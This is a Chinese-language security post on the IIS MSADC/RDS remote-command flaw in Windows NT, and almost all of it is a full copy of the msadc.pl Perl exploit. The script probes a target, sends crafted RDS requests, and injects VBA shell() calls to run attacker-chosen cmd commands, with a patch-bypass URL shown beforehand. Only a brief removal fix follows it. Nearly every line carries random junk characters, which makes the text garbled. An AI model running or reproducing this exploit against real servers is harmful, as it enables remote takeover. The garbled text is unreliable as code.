IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
1 N^[.= *,)M d[ 涉及程序：
:q7Wy&ow Microsoft NT server
dh*ZKI ^@( .b&t ;4q 描述：
*_{j=sd 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
yAs> {6%- *{@Nq=fE 详细：
u\x}8pn 如果你没有时间读详细内容的话，就删除:
P*Uwg&Qz) c:\Program Files\Common Files\System\Msadc\msadcs.dll
OwUhdiG 有关的安全问题就没有了。
5\sd3<:+ +L| ?~p`V 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
/y#f3r+*2 [f-?y mmT 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
mpEK (p 关于利用ODBC远程漏洞的描述，请参看:
n Fg~< $d !/*\}\'4 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm r
CHl?J )! Z*.? 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
-M~:lK]n http://www.microsoft.com/security/bulletins/MS99-025faq.asp d(x\^z s1$nvTzBr 这里不再论述。
u+e{Mim U q,^Wy 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
v
~?qz5:K~ >,Ci?[pf /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
B6nX$T4zP 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
' !cCMTj TnOggpQ6X qIE9$7*X #将下面这段保存为txt文件，然后: "perl -x 文件名"
[nG<[<0 G; <8i//HOE #!perl
'8. r-`l( #
B+VubUPMS # MSADC/RDS 'usage' (aka exploit) script
<X^@*79m #
eIEeb,#i # by rain.forest.puppy
q&- `,8# #
|`,2ri*5A # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
\fr~ # beta test and find errors!
I H&|Tcf\ 7P5) Z-K[ use Socket; use Getopt::Std;
VT`^W Hu getopts("e:vd:h:XR", \%args);
F>6|3bOR b:m88AG print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
gNrjo= UiP"Ixg6 if (!defined $args{h} && !defined $args{R}) {
6|%?te x print qq~
\?ZB]*Fu Usage: msadc.pl -h <host> { -d <delay> -X -v }
T|op$ s| -h <host> = host you want to scan (ip or domain)
fS:&Ak
]; -d <seconds> = delay between calls, default 1 second
DE8n+Rm -X = dump Index Server path table, if available
YQ)kRhFA -v = verbose
f4b/NG| -e = external dictionary file for step 5
Jk11fn;\> kGS;s B Or a -R will resume a command session
qu@~g cE xY8$I6 ~; exit;}
t]g-CW 3 o5O#vW2Il& $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
(k)v!O- if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
w w3-^v if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
z`}qkbvi if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
;_I8^? d $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
S-b/ S5 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
EIAc@$4 TR`U-= jH, if (!defined $args{R}){ $ret = &has_msadc;
8)3*6+D die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
(9 GWbB? tBWrL{xLe print "Please type the NT commandline you want to run (cmd /c assumed):\n"
rmm0/+jY . "cmd /c ";
NiK4d{E& $in=<STDIN>; chomp $in;
9(7-{,c $command="cmd /c " . $in ;
uEP*iPLD@ "ycJ:Xv49 if (defined $args{R}) {&load; exit;}
2r4Uh1D~ 6=/F$| print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
mb3 "U"ohs &try_btcustmr;
|4z IfAO cn3\kT* print "\nStep 2: Trying to make our own DSN...";
su( 1< S} &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
rJT a F 6|]4H.3Q print "\nStep 3: Trying known DSNs...";
RVmh6m &known_dsn;
EU;9 *W< eHZws`W print "\nStep 4: Trying known .mdbs...";
(@VMH !3 &known_mdb;
70nqD>M4 L,`LN> if (defined $args{e}){
X-Kh(Z print "\nStep 5: Trying dictionary of DSN names...";
2(+2+ } &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
q`a'gJx#y 1#2 I print "Sorry Charley...maybe next time?\n";
MUc$ j& exit;
@ioJ] $o7 [ 5b--O ##############################################################################
a0E)2vt4 j0aXyLNX sub sendraw { # ripped and modded from whisker
k5e;fA/w sleep($delay); # it's a DoS on the server! At least on mine...
50wulGJud my ($pstr)=@_;
]7BvvQ
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5d^sA;c die("Socket problems\n");
5m 4P\y^a if(connect(S,pack "SnA4x8",2,80,$target)){
MrFQ5:= select(S); $|=1;
Y =I' czg print $pstr; my @in=<S>;
A,<E\ select(STDOUT); close(S);
iy!=6 return @in;
n'Lr QU } else { die("Can't connect...\n"); }}
Sy_G, +$\ KY I / ##############################################################################
U_Ptqqt% -f^tE, - sub make_header { # make the HTTP request
%OCb:s my $msadc=<<EOT
j2[+z tG POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
tw/dD + User-Agent: ACTIVEDATA
9:|{ 6_Y Host: $ip
#q $HQ&k Content-Length: $clen
ZJJY8k ` Connection: Keep-Alive
hWLA<wdb lgy <? LI\ ADCClientVersion:01.06
!i}w~U< Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
8/cX]J 5L n,{vsv --!ADM!ROX!YOUR!WORLD!
G~[x
3L' Content-Type: application/x-varg
1n8/r}q'H Content-Length: $reqlen
[ l??A3G 9;u@q%;!k EOT
?e4YGOe. ; $msadc=~s/\n/\r\n/g;
t %)7t9j return $msadc;}
@b%=H/5\ bsli0FJSh' ##############################################################################
_J#zY- j pY EMmZ?L sub make_req { # make the RDS request
|syR6(U} my ($switch, $p1, $p2)=@_;
X`K<>0.N my $req=""; my $t1, $t2, $query, $dsn;
lrE 5^;/s1 1R%.p7@5QU if ($switch==1){ # this is the btcustmr.mdb query
Pmx -8w $query="Select * from Customers where City=" . make_shell();
)2o?#8J $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
O 8r|8]o $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
pah'>dAL b_taC ^-l elsif ($switch==2){ # this is general make table query
|>^JRx $query="create table AZZ (B int, C varchar(10))";
Dml;#'IF3 $dsn="$p1";}
#:_Kws>+ _;y9$"A elsif ($switch==3){ # this is general exploit table query
Dx?,=~W9 $query="select * from AZZ where C=" . make_shell();
d7 y[0<xM $dsn="$p1";}
Bk c4 TO Hvi49c]] elsif ($switch==4){ # attempt to hork file info from index server
2l'6. $query="select path from scope()";
jB2[( $dsn="Provider=MSIDXS;";}
<'Eme g:@#@1rB6 elsif ($switch==5){ # bad query
oZgjQM$YP $query="select";
h ( dvZ=
% $dsn="$p1";}
^{`exCwM x .~;\eW [ $t1= make_unicode($query);
'H>^2C iM $t2= make_unicode($dsn);
5C ]x!>kX $req = "\x02\x00\x03\x00";
,&.! ?0+ $req.= "\x08\x00" . pack ("S1", length($t1));
!;A\.~-!G $req.= "\x00\x00" . $t1 ;
\gaw6S>n} $req.= "\x08\x00" . pack ("S1", length($t2));
^^$s%{ep" $req.= "\x00\x00" . $t2 ;
c V6D <,) $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
B9z?mt'|r) return $req;}
JH9J5%sp S%>]q
s ##############################################################################
T!#GW/? + &Eqk sub make_shell { # this makes the shell() statement
YD6'#( return "'|shell(\"$command\")|'";}
(w3YvG. X+9>A.92 ##############################################################################
ES7s1O$# ouQ T sub make_unicode { # quick little function to convert to unicode
*i%d,w0+ my ($in)=@_; my $out;
~36!?&eA8 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
d7upz]K9g return $out;}
U i W > J g! |kp? ##############################################################################
=dKtV .L _ B<X`L
= sub rdo_success { # checks for RDO return success (this is kludge)
rb.N~ my (@in) = @_; my $base=content_start(@in);
#;e:A8IQ if($in[$base]=~/multipart\/mixed/){
6bC3O4Rw return 1 if( $in[$base+10]=~/^\x09\x00/ );}
x 9fip- return 0;}
P=
NDS2 -Q*gW2KmV ##############################################################################
O^
yG?b 24eLB? H sub make_dsn { # this makes a DSN for us
I\ob7X'Xu! my @drives=("c","d","e","f");
4D4j7 print "\nMaking DSN: ";
NXrlk foreach $drive (@drives) {
W${Ue#w77 print "$drive: ";
>kVz49j my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
&h/X ku&0 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
a`>B Ly5o . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
U5de@Y $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
h2R::/2. return 0 if $2 eq "404"; # not found/doesn't exist
7{*>agQh if($2 eq "200") {
gM: " .Ee foreach $line (@results) {
(\x]Y MLH return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
f
;n3&e0eC } return 0;}
Fx.=#bVX7 %h!B^{0 ##############################################################################
sO@Tf\d zrb}_ sub verify_exists {
Q![@c my ($page)=@_;
8d '0N my @results=sendraw("GET $page HTTP/1.0\n\n");
W'TZ %K) I return $results[0];}
f-Z/t fC S,he6zS ##############################################################################
t{{QE:/ b \2
d s, sub try_btcustmr {
5$k:t my @drives=("c","d","e","f");
[4f{w%~^ my @dirs=("winnt","winnt35","winnt351","win","windows");
j\M?~=*w @o`AmC .
8 foreach $dir (@dirs) {
L!x i print "$dir -> "; # fun status so you can see progress
' `Hr} foreach $drive (@drives) {
i XjM.G print "$drive: "; # ditto
<LiP Eo.R $reqlen=length( make_req(1,$drive,$dir) ) - 28;
#ABZ& Z $reqlenlen=length( "$reqlen" );
tR$NRMZ. $clen= 206 + $reqlenlen + $reqlen;
i/Zd8+.n$ -i Z`Y? my @results=sendraw(make_header() . make_req(1,$drive,$dir));
3Y$GsN4ln if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
#H~6 4/ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
M\BR cz 0g8NHkM:2a ##############################################################################
K-Ef%a2#` gB33? sub odbc_error {
;$g?T~v7 my (@in)=@_; my $base;
X &H"51 my $base = content_start(@in);
5{,<j\#L if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
W "{N Bi $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~D>p0+-c $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!4+<<(B=E $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ox.F%)eQ return $in[$base+4].$in[$base+5].$in[$base+6];}
$XH^~i; print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
OjA,]Gv6 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Q~9^{sHZjP $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
9\(|
D# C3g_! dUs ##############################################################################
p]c%f 2E>d ;O,jUiQ sub verbose {
hhvyf^o my ($in)=@_;
4*;MJ [| return if !$verbose;
K|=A: print STDOUT "\n$in\n";}
I&5!=kR !& E-}}< ##############################################################################
W(p_.p"
Ow ,b^| sub save {
e\/w' my ($p1, $p2, $p3, $p4)=@_;
w0un S` \4 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
|R:'\+E print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
wMN]~|z> close OUT;}
|_U= z;Y *LY8D<:z s ##############################################################################
l'E6CL}@[ f|(M.U- sub load {
xT2PyI_: my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
I]q% 2i e open(IN,"<rds.save") || die("Couldn't open rds.save\n");
K*d Cc}:` @p=<IN>; close(IN);
\|[;Z"4l $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
G3v5KmT $target= inet_aton($ip) || die("inet_aton problems");
>yDZw!C print "Resuming to $ip ...";
Y_P!B^z3 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
_)-o1`*- if($p[1]==1) {
mX|ojZ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
7{W ny&[0 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
dA j$1Ke my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
]]yO1x$Kk if (rdo_success(@results)){print "Success!\n";}
I%Z else { print "failed\n"; verbose(odbc_error(@results));}}
Dvln/SBk elsif ($p[1]==3){
e+K^A q if(run_query("$p[3]")){
TD_Oo-+\ print "Success!\n";} else { print "failed\n"; }}
Wc
'H elsif ($p[1]==4){
yS I !d|_ if(run_query($drvst . "$p[3]")){
g9F?z2^ print "Success!\n"; } else { print "failed\n"; }}
bg0Wnl exit;}
\l 3h0R =Fl^` *n ##############################################################################
"kF g e96k{C`j0 sub create_table {
_SkLYL!=9 my ($in)=@_;
FVBYo%Ap $reqlen=length( make_req(2,$in,"") ) - 28;
}ad|g6i` $reqlenlen=length( "$reqlen" );
hpk7 A np $clen= 206 + $reqlenlen + $reqlen;
R G`1en my @results=sendraw(make_header() . make_req(2,$in,""));
U
m+8"W return 1 if rdo_success(@results);
P0b7S'a4! my $temp= odbc_error(@results); verbose($temp);
$ ME)#( return 1 if $temp=~/Table 'AZZ' already exists/;
!|> " o7 return 0;}
0m ? )ROaJ :BT q!>s ##############################################################################
#e5\j\#. TS5Q1+hWHV sub known_dsn {
@lph)A Nk # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
cM7[_*Ot<m my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
rrv%~giU "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
[0 e_* "banner", "banners", "ads", "ADCDemo", "ADCTest");
[ikOb8 G# <of^AKbt foreach $dSn (@dsns) {
Xha..r print ".";
GPkpXVm next if (!is_access("DSN=$dSn"));
{VoHh_[5% if(create_table("DSN=$dSn")){
40
0#v |b print "$dSn successful\n";
cN 9t{.m if(run_query("DSN=$dSn")){
J$v?T$LVw print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
1-QS~)+ print "Something's borked. Use verbose next time\n";}}} print "\n";}
EJ @ ~/)< T]p-0?=4vv ##############################################################################
uW3!Yg@ p D+k* sub is_access {
v*yuE5{ my ($in)=@_;
|zE'd!7E $reqlen=length( make_req(5,$in,"") ) - 28;
sp`Dvqx0 $reqlenlen=length( "$reqlen" );
"
2Dngw $clen= 206 + $reqlenlen + $reqlen;
Rws3V"{`[ my @results=sendraw(make_header() . make_req(5,$in,""));
- Y;3I00( my $temp= odbc_error(@results);
*uvQ\. verbose($temp); return 1 if ($temp=~/Microsoft Access/);
)sp+8 return 0;}
FC"8#*x _wL BA^d^ ##############################################################################
WMg~Y"W lb1Xsgm{ sub run_query {
{ [ >Kob1 my ($in)=@_;
s"?3]P $reqlen=length( make_req(3,$in,"") ) - 28;
sn>~O4" $reqlenlen=length( "$reqlen" );
Ecx<OTo $clen= 206 + $reqlenlen + $reqlen;
WM P,\=6k0 my @results=sendraw(make_header() . make_req(3,$in,""));
<rS F* return 1 if rdo_success(@results);
ws^ np my $temp= odbc_error(@results); verbose($temp);
7J&4akT{9 return 0;}
q"_QQ~ pY$Q ##############################################################################
Z j4Uak G owH]MO sub known_mdb {
Rzus NS my @drives=("c","d","e","f","g");
(_{y B[z>` my @dirs=("winnt","winnt35","winnt351","win","windows");
'[O;zJN; my $dir, $drive, $mdb;
h `.& f my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
y18Y:)DkL Pr,q*_Yy # this is sparse, because I don't know of many
NW)1#]gg% my @sysmdbs=( "\\catroot\\icatalog.mdb",
H7+, * "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
^y 4Z+Gu[ "\\system32\\certmdb.mdb",
W|(1Y
D "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
kz7(Z'pw Fea(zJ_ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
/JU.?M35 "\\cfusion\\cfapps\\forums\\forums_.mdb",
Oz#{S:24M+ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
d*Fj3Wkx "\\cfusion\\cfapps\\security\\realm_.mdb",
Q)z8PQl O "\\cfusion\\cfapps\\security\\data\\realm.mdb",
sFTy(A/ "\\cfusion\\database\\cfexamples.mdb",
xi; `ecqS< "\\cfusion\\database\\cfsnippets.mdb",
RY*U"G0#w "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
5i{j' {_(8 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
f'3$9x "\\cfusion\\brighttiger\\database\\cleam.mdb",
:T(|&F[( "\\cfusion\\database\\smpolicy.mdb",
gbagi+8s`% "\\cfusion\\database\cypress.mdb",
dcWD(- "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
y$R_.KbO "\\website\\cgi-win\\dbsample.mdb",
##4HYQ%E "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Mh
7DV "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
{T ~#?v( ); #these are just
-RK- Fu<e foreach $drive (@drives) {
- `TEVS?`l foreach $dir (@dirs){
9k[9P;"F: foreach $mdb (@sysmdbs) {
Pd]|:W< E print ".";
"G9xMffW if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
?#Q #u|~ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
MR.'t9m2L if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
2T[9f;jM' print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
zs#@jv$ } else { print "Something's borked. Use verbose next time\n"; }}}}}
;mKb] &XUiKnNW foreach $drive (@drives) {
Yp2e Bgo" foreach $mdb (@mdbs) {
>~+ELVB& print ".";
{P#|zp 4C{ if(create_table($drv . $drive . $dir . $mdb)){
&Z|P2 dI print "\n" . $drive . $dir . $mdb . " successful\n";
VTHH&$ZNq if(run_query($drv . $drive . $dir . $mdb)){
w JY ' print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
n>U5R_T } else { print "Something's borked. Use verbose next time\n"; }}}}
2jCf T>`3 }
4]}'Hln*U H~z`] 5CN ##############################################################################
mXfXO*Cnp VBcPu sub hork_idx {
QUQ'3 print "\nAttempting to dump Index Server tables...\n";
`,*5wBC print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
1D!<'`)AY $reqlen=length( make_req(4,"","") ) - 28;
#
c^z&0B} $reqlenlen=length( "$reqlen" );
WvZ8/T'x $clen= 206 + $reqlenlen + $reqlen;
}| 5Pr(I my @results=sendraw2(make_header() . make_req(4,"",""));
c_!cv":s if (rdo_success(@results)){
4#hSJ(~7S my $max=@results; my $c; my %d;
gt w Q- for($c=19; $c<$max; $c++){
)B8$<sv $results[$c]=~s/\x00//g;
r^ ZEImjc $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
lBGQEP3; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
.y:U&Rw 4 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
mB ON$sF| $d{"$1$2"}="";}
c<$OA=n foreach $c (keys %d){ print "$c\n"; }
EI^C{ $Y } else {print "Index server doesn't seem to be installed.\n"; }}
G[q $QB+ `%WU8Yv ##############################################################################
cD'V>[h fw{gx sub dsn_dict {
fvxu#m= open(IN, "<$args{e}") || die("Can't open external dictionary\n");
:tv,]05t while(<IN>){
C'}KTXiRW $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
W#3 Q ^Z? next if (!is_access("DSN=$dSn"));
v^+S h|z/ if(create_table("DSN=$dSn")){
"AGLVp.zT print "$dSn successful\n";
W X6&oy> if(run_query("DSN=$dSn")){
L5:$U>H( print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Alw3\_X print "Something's borked. Use verbose next time\n";}}}
%z 4Nl$\ print "\n"; close(IN);}
' F#KM1s B ~Xw[q ##############################################################################
mU F,@>o p0<\ G sub sendraw2 { # ripped and modded from whisker
<B8!.|19 sleep($delay); # it's a DoS on the server! At least on mine...
0b(N^$js' my ($pstr)=@_;
K:30_l< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
OX\F ~+ die("Socket problems\n");
I"7u2"@-8j if(connect(S,pack "SnA4x8",2,80,$target)){
b hlG,NTP print "Connected. Getting data";
l"]}Ts# open(OUT,">raw.out"); my @in;
P3 ^Y"Pv? select(S); $|=1; print $pstr;
w}cPs{Vi" while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
j]/RC(; ? close(OUT); select(STDOUT); close(S); return @in;
A
' ];` } else { die("Can't connect...\n"); }}
o`N 9!M [Nbm|["q~ ##############################################################################
scLll ,~ x39<6_? G sub content_start { # this will take in the server headers
c. F6~IHu7 my (@in)=@_; my $c;
j^rIH#V for ($c=1;$c<500;$c++) {
s( q_
o if($in[$c] =~/^\x0d\x0a/){
$43qME if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
&m:uO^-D else { return $c+1; }}}
/{--+
C return -1;} # it should never get here actually
>]5P
3\AQV W#WV fr ##############################################################################
Sa;qW3dt3E tS8u sub funky {
?o#%Xs my (@in)=@_; my $error=odbc_error(@in);
?zHPJLv|Y if($error=~/ADO could not find the specified provider/){
LW_ f print "\nServer returned an ADO miscofiguration message\nAborting.\n";
MfQ?W`Kop exit;}
)iK6: s # if($error=~/A Handler is required/){
pOG1jI5<{8 print "\nServer has custom handler filters (they most likely are patched)\n";
2'MZ s]??w exit;}
Ffta](Z; if($error=~/specified Handler has denied Access/){
Is?La print "\nServer has custom handler filters (they most likely are patched)\n";
gn".u!9j exit;}}
m<"WDU?y; HYSIN^<oy ##############################################################################
tr}Loq\y *CTlOy sub has_msadc {
(|1A?@sJ#h my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
{
W{]L: my $base=content_start(@results);
0$fpIz return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
hJ~Uf5Q return 0;}
e|WJQd4+S ;&-k#PE]/H ########################
;
_1
at V rQmP 'K{Z{[s{ 解决方案：
:I^;jdL 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
$F+ L Ds 2、移除web 目录: /msadc
